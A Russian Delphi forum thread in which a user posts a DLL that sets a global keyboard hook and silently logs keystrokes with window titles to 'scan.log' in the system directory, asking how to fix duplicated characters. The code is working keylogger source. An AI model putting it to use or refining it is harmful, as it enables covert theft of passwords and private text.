Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 22.08.2010, 14:14   #1
legendary
Форумчанин
 
Аватар для legendary
 
Регистрация: 21.04.2010
Сообщений: 125
По умолчанию хук клавы

код длл:

Код:
library lib;

uses
  windows,
  SysUtils,
  messages;

var
  H,HW,HW1: THandle;
  f: text;
  c: char;
  buf,buf1: array[0..255] of char;
  sysdir,wndtext: string;

procedure writ(wndtext: string;c: char);
begin
GetSystemDirectory(buf,256);
sysdir:= buf;
assign(f,sysdir+'\scan.log');
if not FileExists(sysdir+'\scan.log') then rewrite(f) else append(f);
write(f,wndtext,c);
close(f);
end;


function hook(code, wParam, lParam : integer): Lresult; stdcall;
begin
if Code >= 0 then
begin
HW:=GetForegroundWindow;
GetWindowText(hw, buf1, 255);
if HW=HW1 then wndtext:='' else
begin
wndtext:=buf1;
wndtext:=' '+wndtext+' ';
HW1:=GetForegroundWindow;
end;
c:= chr(wParam);
{p:= wParam;}
writ(wndtext,c);
end;
result := CallNextHookEx(H, code, wParam, lParam);
End;


procedure sethook;
begin
  H:=SetWindowsHookEx(WH_KEYBOARD, @hook, hInstance, 0);
end;

procedure removehook;
begin
  UnhookWindowsHookEx(H);
end;

exports
sethook index 1  name 'sethook',
removehook index 2 name 'removehook';
end.
почему у файл записывает вместо одново символа два, ето что сработивает KeyUp и KeyDown одновременно? но если набрать qwe в word то у файл пишет по три символи вместо одного qqqwwweee. как исправить????????????
legendary вне форума Ответить с цитированием
Старый 22.08.2010, 18:48   #2
legendary
Форумчанин
 
Аватар для legendary
 
Регистрация: 21.04.2010
Сообщений: 125
По умолчанию

Скажите как отлавливать только сообщение WM_KeyUP? для mouse hook оно содержится у wParam, а где для клавы?
legendary вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
конец ввода с клавы radion_80 Помощь студентам 5 01.12.2009 16:21
Как послать нажатие кнопки? И вопрос про хук клавы. TwiX Общие вопросы Delphi 22 11.09.2009 19:14
Управление от клавы Schura Общие вопросы Delphi 5 21.04.2009 19:25
3 в одном: Хук клавы, мышки и..... Vognedar Win Api 2 02.03.2009 13:39
Прерывание от клавы Киркоров Assembler - Ассемблер (FASM, MASM, WASM, NASM, GoASM, Gas, RosAsm, HLA) и не рекомендуем TASM 10 04.09.2007 10:03